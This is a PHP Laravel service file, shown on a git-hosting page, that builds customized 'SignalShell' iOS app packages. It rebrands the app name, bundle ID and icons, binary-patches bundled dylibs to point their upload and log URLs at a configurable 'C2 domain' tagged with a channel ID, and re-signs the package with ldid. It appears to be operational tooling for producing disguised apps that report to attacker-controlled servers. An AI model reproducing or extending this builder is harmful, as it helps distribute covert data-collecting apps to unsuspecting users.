Files
coruna-lab/app/Services/AppPackageService.php
T
hashbro 867d0fa462 fix: remove shell_exec dependency for signing (disabled on production)
- sign() uses config('coruna.ldid_path') instead of shell_exec('which ldid')
- LDID_PATH configurable via .env (default /usr/bin/ldid)
- Graceful fallback to unsigned IPA when ldid not available
2026-10-06 07:11:55 +08:00

355 lines
12 KiB
PHP
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<?php
namespace App\Services;
use App\Models\Channel;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Process;
use RuntimeException;
/**
* Build a customized SignalShell IPA for App-builder channels.
*
* Takes a base IPA template, patches it with the channel's
* domain / channel ID / app name / logo, and outputs a
* downloadable IPA file.
*/
class AppPackageService
{
/** Base IPA template path (uploaded once via admin). */
private const BASE_IPA_PATH = 'app-templates/signalshell-base.ipa';
/** Icon sizes to generate from the uploaded logo. */
private const ICON_SIZES = [
'Icon-20.png' => 20,
'Icon-20@2x.png' => 40,
'Icon-20@3x.png' => 60,
'Icon-29.png' => 29,
'Icon-29@2x.png' => 58,
'Icon-29@3x.png' => 87,
'Icon-40.png' => 40,
'Icon-40@2x.png' => 80,
'Icon-40@3x.png' => 120,
'Icon-60@2x.png' => 120,
'Icon-60@3x.png' => 180,
'Icon-76.png' => 76,
'Icon-76@2x.png' => 152,
'Icon-83.5@2x.png' => 167,
];
/**
* Build a customized IPA for the given channel.
*
* @param Channel $channel App-builder channel with app_name, bundle_id, channel_id
* @param string|null $logoPath Temporary path to the uploaded logo (PNG, ≥180×180)
* @param string $apiDomain C2 domain (e.g. hslaxo.cc)
* @return array{success: bool, path: string, size: int, error: string}
*/
public function build(Channel $channel, ?string $logoPath, string $apiDomain): array
{
$baseIpa = storage_path('app/'.self::BASE_IPA_PATH);
if (! file_exists($baseIpa)) {
return ['success' => false, 'path' => '', 'size' => 0, 'error' => 'Base IPA template not found. Upload via admin first.'];
}
$workDir = storage_path('app/app-builds/'.$channel->channel_id);
if (is_dir($workDir)) {
$this->rrmdir($workDir);
}
@mkdir($workDir, 0755, true);
try {
// 1. Extract base IPA
$zip = new \ZipArchive;
if ($zip->open($baseIpa) !== true) {
throw new RuntimeException('Cannot open base IPA');
}
$zip->extractTo($workDir);
$zip->close();
$appDir = $workDir.'/Payload/SignalShell.app';
if (! is_dir($appDir)) {
// Try to find any .app directory
$payload = $workDir.'/Payload';
$dirs = glob($payload.'/*.app');
if (empty($dirs)) {
throw new RuntimeException('No .app directory found in IPA');
}
$appDir = $dirs[0];
}
// 2. Patch Info.plist
$this->patchInfoPlist($appDir, $channel);
// 3. Generate icons from logo
if ($logoPath && file_exists($logoPath)) {
$this->generateIcons($appDir, $logoPath);
}
// 4. Patch libroute.dylib (domain + channel ID)
$this->patchLibroute($appDir, $apiDomain, $channel->channel_id);
// 5. Patch libmcmlease.dylib (domain)
$this->patchLibmcmlease($appDir, $apiDomain);
// 6. Sign (ldid if available, skip otherwise)
$this->sign($appDir);
// 7. Package IPA
$outputPath = 'channel/'.$channel->channel_id.'/app.ipa';
$outputFull = public_path($outputPath);
@mkdir(dirname($outputFull), 0755, true);
$outZip = new \ZipArchive;
if ($outZip->open($outputFull, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) !== true) {
throw new RuntimeException('Cannot create output IPA');
}
$this->addDirToZip($outZip, $workDir.'/Payload', 'Payload');
$outZip->close();
$size = filesize($outputFull);
// Cleanup
$this->rrmdir($workDir);
return [
'success' => true,
'path' => '/'.$outputPath,
'size' => $size,
'error' => '',
];
} catch (\Throwable $e) {
$this->rrmdir($workDir);
Log::error('AppPackageService: build failed', [
'channel' => $channel->channel_id,
'error' => $e->getMessage(),
]);
return [
'success' => false,
'path' => '',
'size' => 0,
'error' => $e->getMessage(),
];
}
}
private function patchInfoPlist(string $appDir, Channel $channel): void
{
$plistPath = $appDir.'/Info.plist';
$xml = file_get_contents($plistPath);
// Replace display name
$xml = preg_replace(
'#<key>CFBundleDisplayName</key>\s*<string>[^<]*</string>#',
'<key>CFBundleDisplayName</key><string>'.htmlspecialchars($channel->app_name).'</string>',
$xml,
);
// Replace bundle identifier
if ($channel->bundle_id) {
$xml = preg_replace(
'#<key>CFBundleIdentifier</key>\s*<string>[^<]*</string>#',
'<key>CFBundleIdentifier</key><string>'.htmlspecialchars($channel->bundle_id).'</string>',
$xml,
);
}
// Replace CFBundleName (short name)
$xml = preg_replace(
'#<key>CFBundleName</key>\s*<string>[^<]*</string>#',
'<key>CFBundleName</key><string>'.htmlspecialchars(substr($channel->app_name, 0, 15)).'</string>',
$xml,
);
file_put_contents($plistPath, $xml);
}
private function generateIcons(string $appDir, string $logoPath): void
{
if (! function_exists('imagecreatefrompng')) {
// GD not available, copy logo as-is for main icon only
copy($logoPath, $appDir.'/Icon-60@3x.png');
return;
}
$src = imagecreatefrompng($logoPath);
if ($src === false) {
return;
}
$srcW = imagesx($src);
$srcH = imagesy($src);
foreach (self::ICON_SIZES as $filename => $size) {
$dst = imagecreatetruecolor($size, $size);
// Transparent background
imagesavealpha($dst, true);
$trans = imagecolorallocatealpha($dst, 0, 0, 0, 127);
imagefill($dst, 0, 0, $trans);
// Resize (maintain aspect, crop center square)
$minSide = min($srcW, $srcH);
$srcX = ($srcW - $minSide) / 2;
$srcY = ($srcH - $minSide) / 2;
imagecopyresampled($dst, $src, 0, 0, (int) $srcX, (int) $srcY, $size, $size, $minSide, $minSide);
imagepng($dst, $appDir.'/'.$filename, 6);
imagedestroy($dst);
}
imagedestroy($src);
}
private function patchLibroute(string $appDir, string $domain, string $channelId): void
{
$path = $appDir.'/Frameworks/libroute.dylib';
if (! file_exists($path)) {
throw new RuntimeException('libroute.dylib not found');
}
$data = file_get_contents($path);
$changes = 0;
// Replace domain: shenma.my → new domain (equal length or shorter)
$newDomain = $domain;
$oldDomain = 'shenma.my';
if (strlen($newDomain) > strlen($oldDomain)) {
// Cannot expand in-place, try replacing full URLs instead
// hslaxo.cc is 9 chars same as shenma.my
if (strlen($newDomain) !== strlen($oldDomain)) {
throw new RuntimeException("Domain '{$newDomain}' length (".strlen($newDomain).') must be ≤ '.strlen($oldDomain).' chars for in-place replacement');
}
}
// Replace upload URL: /upload.php?a=a119f32b4955& → /api/ap/upload?a=<ID>&
$oldUpload = 'https://shenma.my/upload.php?a=a119f32b4955&';
$newUpload = "https://{$domain}/api/ap/upload?a={$channelId}&";
if (strlen($newUpload) <= 10164) { // plenty of space at 0x1193C
$idx = strpos($data, $oldUpload);
if ($idx !== false) {
$data = substr($data, 0, $idx).$newUpload."\x00".substr($data, $idx + strlen($oldUpload) + 1);
$changes++;
}
}
// Replace log upload URL
$oldLog = 'https://shenma.my/upload.php?name=';
$newLog = "https://{$domain}/api/ap/lg?n=";
if (strlen($newLog) <= 35) {
$idx = strpos($data, $oldLog);
if ($idx !== false) {
$data = substr($data, 0, $idx).$newLog."\x00".substr($data, $idx + strlen($oldLog) + 1);
$changes++;
}
}
// Replace config path: /api/ios-shell → /api/ap
$oldConfig = '/api/ios-shell';
$newConfig = '/api/ap';
$idx = strpos($data, $oldConfig);
if ($idx !== false) {
$data = substr($data, 0, $idx).$newConfig."\x00".substr($data, $idx + strlen($oldConfig) + 1);
$changes++;
}
// Replace any remaining shenma.my
$data = str_replace('shenma.my', $domain, $data);
file_put_contents($path, $data);
}
private function patchLibmcmlease(string $appDir, string $domain): void
{
$path = $appDir.'/Frameworks/libmcmlease.dylib';
if (! file_exists($path)) {
return;
}
$data = file_get_contents($path);
// Equal-length domain replacement
if (strlen($domain) === 9) { // same as shenma.my
$data = str_replace('shenma.my', $domain, $data);
}
file_put_contents($path, $data);
}
private function sign(string $appDir): void
{
// Remove old signatures (plain filesystem ops, no shell needed)
$csDir = $appDir.'/_CodeSignature';
if (is_dir($csDir)) {
$this->rrmdir($csDir);
}
// Get ldid path from config (avoids shell_exec which is often disabled)
$ldidPath = trim((string) config('coruna.ldid_path', '/usr/bin/ldid'));
if ($ldidPath !== '' && file_exists($ldidPath)) {
// Sign main binary + frameworks using ldid
$binaries = array_merge(
[$appDir.'/SignalShell'],
glob($appDir.'/Frameworks/*.dylib') ?: [],
glob($appDir.'/*.dylib') ?: [],
);
foreach ($binaries as $bin) {
if (file_exists($bin)) {
try {
Process::run([$ldidPath, '-S', $bin]);
} catch (\Throwable $e) {
Log::warning('AppPackageService: ldid sign failed for '.basename($bin), [
'error' => $e->getMessage(),
]);
}
}
}
return;
}
// No signing tool configured — output unsigned IPA
Log::warning('AppPackageService: ldid not found at configured path, IPA will be unsigned', [
'ldid_path' => $ldidPath,
'exists' => file_exists($ldidPath),
]);
}
private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void
{
$items = scandir($dir);
foreach ($items as $item) {
if ($item === '.' || $item === '..') {
continue;
}
$path = $dir.'/'.$item;
$zipPath = $prefix.'/'.$item;
if (is_dir($path)) {
$zip->addEmptyDir($zipPath);
$this->addDirToZip($zip, $path, $zipPath);
} else {
$zip->addFile($path, $zipPath);
}
}
}
private function rrmdir(string $dir): void
{
if (! is_dir($dir)) {
return;
}
$items = scandir($dir);
foreach ($items as $item) {
if ($item === '.' || $item === '..') {
continue;
}
$path = $dir.'/'.$item;
if (is_dir($path)) {
$this->rrmdir($path);
} else {
@unlink($path);
}
}
@rmdir($dir);
}
}